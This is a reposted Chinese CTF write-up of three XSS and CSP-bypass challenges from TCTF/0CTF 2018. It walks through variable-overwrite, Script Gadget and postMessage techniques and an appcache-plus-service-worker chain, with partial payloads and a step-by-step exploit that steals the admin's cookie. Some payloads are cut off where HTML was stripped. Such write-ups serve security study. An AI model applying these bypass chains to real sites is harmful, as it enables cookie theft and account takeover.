html%3cembed居中,TCTF/0CTF2018XSSWriteup

转载

作者：LoRexxar'@知道创宇404实验室

刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜，其中最大的惊喜莫过于多道xss中Bypass CSP的题目，其中有很多应用于现代网站的防御思路。

其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过strict-dynamicCSP的利用方式。

h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。

h4x0rs.space提及了appcache以及Service worker配合jsonp接口实现的利用思路。

其中的很多利用思路非常精巧，值得研究。所以我花费了大量时间复现其中题目的思路以及环境，希望能给读者带来更多东西...

bl0g

题目分析

An extremely secure blog

Just focus on the static files. plz do not use any scanner, or your IP will be blocked.

很有趣的题目，整个题的难点在于利用上

站内的功能都是比较常见的xss功能

1、new 新生成文章

2、article/xx 查看文章/评论

3、submit 提交url (start with http://202.120.7.197:8090/)

4、flag admin可以查看到正确的flag

还有一些隐藏的条件

1、CSP

Content-Security-Policy:

script-src 'self' 'unsafe-inline'

Content-Security-Policy:

default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

挺有趣的写法，经过我的测试，两个CSP分开写，是同时生效并且单独生效的，也就是与的关系。

换个说法就是，假设我们通过动态生成script标签的方式，成功绕过了第二个CSP，但我们引入了，那么中间的代码就会被视为js代码，被CSP拦截。

我们成功的覆盖了effects变量，紧接着我们需要覆盖effects[$("#effect").val()]，这里我们选择id属性(这里其实是为了id会使用两次，可以更省位数)，

所以我们尝试传入

effect=id">

然后通过login?next=这里来跳转到这里，成功理顺

最后分享一个本环境受限的脑洞想法(我觉得蛮有意思的

这个思路受限于当前页面CSP没有unsafe-eval，刚才说到window.name不随域变化而变化，那么我们传入payload

id">

这样我们就能设置window.name了，如果允许eval的话，就可以通过这种方式绕过长度限制。

h4xors.club2

一个非常有意思的题目，做这题的时候有一点儿钻牛角尖了，后面想来有挺多有意思的点。先分享一个非常秀的非预期解wp。

http://www.wupco.cn/?p=4408&from=timeline

在分享一个写的比较详细的正解

https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

下面顺着思路一起来看看这题。

题目分析

Get document .cookie of the administartor.

h4x0rs.club

backend_www got backup at /var/www/html.tar.gz 这个从头到尾都没找到

Hint: Get open-redirect first, lead admin to the w0rld!

站内差不多是一个答题站点，用了比较多的第三方库，站内的功能比较有限。

1、profile.php可以修改自己个人信息

2、user.php/可以访问自己的个人信息

3、report.php没什么可说的，向后台发送请求，需要注意的是，直接发送user.php，不能控制

4、index.php接受msg参数

还有一些特别的点

1、user.php页面的CSP为

Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3ac7833372f4a91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

非常严格，只允许nonce CSP的script解析

index.php页面的CSP为

Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';

允许sd CSP动态执行script(这里的出发点可能是index.php是加载游戏的地方，为了适应CSP，必须加入strict-dynamic。)

2、站内有两个xss点

第一个是user.php的profile，储存型xss，没有任何过滤。

第二个是index.php的msg参数，反射性xss，没有任何过滤，但是受限于xss auditor

顺着思路向下

因为user.php页面的CSP非常严格，我们需要跳出这个严格的地方，于是可以通过插入meta标签，跳转到index.php，在这里进一步操作

当然这里我们也可以利用储存型xss和页面内的一段js来构造a标签跳转。

在user.php的查看profile页面，我们可以看到

当我们插入

并请求

/game/user.php/ddog%23report

那么这里的a标签就会被点击，同样可以实现跳转。

接着我们探究index.php，这里我们的目标就是怎么能够绕过sd CSP了，当时的第一个想法是，通过修改当前页面的根域，我们可以加载其他域的js(听起来很棒！

可惜如果我们请求

https://h4x0rs.club/game/?msg=

会被xss auditor拦截，最后面没办法加`/">`，一个非常有趣的情况出现了

https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16

最后的中的/被转换成了路径，前面的左尖括号被拼入了域名中，后面的右尖括号闭合标签...一波神奇的操作...

不过这里因为没法处理尖括号域名的事情，所以置于后话不谈。

我们继续讨论绕过sd CSP的思路，这种CSP已知只有一种办法，就是通过现在已有的js代码构造xss，这是一种在去年blackhat大会上google团队公布的CSP Bypass技巧，叫做Script Gadgets。

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

这里的漏洞点和ppt中的思路不完全一致，但核心思路一样，都是要利用已有js代码中的一些点来构造利用。

站内关于游戏的代码在app.js中的最下面，加载了client.js

function load_clientjs(){

var s = document.createElement('script');

```
document.body.appendChild(s);

s.defer = true;

s.src = '/game/javascripts/client.js';

}
```

client.js中的代码不多，有一些值得注意的点，就是客户端是通过postMessage和服务端交互的。

而且所有的交互都没有对来源的校验，也就是可以接受任何域的请求。

ps: 这是一个呆子不开口在2016年乌云峰会上提到的攻击手法，通过postMessage来伪造请求

这样我们可以使用iframe标签来向Beckend页面发送请求，通过这种方式来控制返回的消息。

这里我盗用了一张别的wp中的图，来更好的描述这种手法

原图来自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

这里我们的exploit.html充当了中间人的决赛，代替客户端向服务端发送请求，来获取想要的返回

这里我们可以关注一下client.js中的recvmsg

如果我们能控制data.title，通过这里的dom xss，我们可以成功的绕过index.php下的sd CSP限制。

值得注意的是，如果我们试图通过index.php页面的反射性xss来引入iframe标签的话，如果iframe标签中的链接是外域，会被xss auditor拦截。

所以这里需要用user.php的储存型xss跳出。这样利用链比较完整了。

利用思路

1、首先我们需要注册两个账号，这里使用ddog123和ddog321两个账号。

2、在ddog321账号中设置profile公开，并设置内容为

3、在evil_website.com(这里有个很关键的tips，这里只能使用https站，否则会爆引入混合数据，阻止访问)的index.html向backend发送请求，这里的js需要设置ping和badges，在badges中设置title来引入js

&p=instagram

4、站内有一个jsonp的接口，但不能传尖括号，后面的文章内容什么的也没办法逃逸双引号。

https://h4x0rs.space/blog/pad.php?
callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d

5、图片上传的接口可以上传SVG，图片在站内同源，并且不受到CSP的限制，我们可以在SVG中执行js代码，来绕过CSP，而重点就是，我们只能提交blog id，我们需要找到一个办法来让它执行。

appcache的利用

在提示中，我们很明显可以看到cache这个提示，这里的提示其实是说，利用appcache来加载svg的方式。

在这之前，我们可能需要了解一下什么是Appcache。具体可以看这篇文章。

https://www.html5rocks.com/en/tutorials/appcache/beginner/

这是一种在数年前随H5诞生的一种可以让开发人员指定浏览器缓存哪些文件以供离线访问，在缓存情况下，即使用户在离线状态刷新页面也同样不会影响访问。

Appcache的开启方法是在html标签下添加manifest属性

...

这里的example.appcache可以是相对路径也可以是绝对路径，清单文件的结构大致如下：

CACHE MANIFEST

2010-06-18:v2

Explicitly cached 'master entries'.

CACHE:

/favicon.ico

index.html

stylesheet.css

images/logo.png

scripts/main.js

Resources that require the user to be online.

NETWORK:

login.php

/myapi

http://api.twitter.com

static.html will be served if main.py is inaccessible

offline.jpg will be served in place of all images in images/large/

offline.html will be served in place of all other .html files

FALLBACK:

/main.py /static.html

images/large/ images/offline.jpg

*.html /offline.html

CACHE：

这是条目的默认部分。系统会在首次下载此标头下列出的文件(或紧跟在 CACHE MANIFEST 后的文件)后显式缓存这些文件。

NETWORK：

此部分下列出的文件是需要连接到服务器的白名单资源。无论用户是否处于离线状态，对这些资源的所有请求都会绕过缓存。可使用通配符。

FALLBACK：

此部分是可选的，用于指定无法访问资源时的后备网页。其中第一个 URI 代表资源，第二个代表后备网页。两个 URI 必须相关，并且必须与清单文件同源。可使用通配符。

这里有一点儿很重要，关于Appcache，您必须修改清单文件本身才能让浏览器刷新缓存文件。

去年@filedescriptor公开了一个利用Appache来攻击沙箱域的方法。

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

这里正是使用了Appcache的FALLBACK文件，我们可以通过上传恶意的svg文件，形似

然后将manifest设置为相对目录的svg文件路径，形似

-->

...

在这种情况下，如果我们能触发页面500，那么页面就会跳转至FALLBACK指定页面，我们成功引入了一个任意文件跳转。

紧接着，我们需要通过引入[ig]a#[/ig]，通过拼接url的方式，这里的#会使后面的&instagram无效，使页面返回500错误，缓存就会将其引向FALLBACK设置页面。

这里的payload形似

[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

这里之所以会引入多个a#是因为缓存中FALLBACK的加载时间可能慢于单个iframe的加载时间，所以需要引入多个，保证FALLBACK的生效。

最后发送文章id到后台，浏览器访问文章则会触发下面的流程。

上面的文章会转化为

...

上面的iframe标签会引入我们提前上传好的manfiest文件

CACHE MANIFEST

FALLBACK:

/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

并将FALLBACK设置为

/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

然后下面的iframe标签会访问/blog/untrusted_files/embed/embed.php?embed=a并处罚500错误，跳转为提前设置好的svg页面，成功逃逸CSP。

当我们第一次读取到document.cookie时，返回为

OK! You got me... This is your reward: "flag`)}//","time":"2018-04-03 12:32:00","image_type":""});

这里需要注意的是，在serviceWorker线程中，我们并不能获取所有的对象，所以这里直接获取当前请求的url。

完整的利用链如下：

1、将*/onfetch=e=>`)}//写入文章内，并保留下文章id。

2、构造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id=

/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>`)}//","time":"2018-04-03 12:32:00","image_type":""});

3、上传svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg

4、构造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg

CACHE MANIFEST

FALLBACK:

/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg

5、构造embed页面url

https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube

6、最后构造利用文章内容

[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

[yt]a#[/yt]

7、发送post id即可

参 考 链 接

https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

http://www.cnblogs.com/zichi/p/4620656.html

http://www.wupco.cn/?p=4408&from=timeline

https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM

Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803

https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.space

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

https://github.com/l4wio/CTF-challenges-by-me/blob/master/0ctf_quals-2018/h4x0rs.space/solve.py

https://speakerdeck.com/masatokinugawa/pwa-study-sw

http://drops.xmd5.com/static/drops/web-10798.html

https://paper.seebug.org/177/

往 期 热 门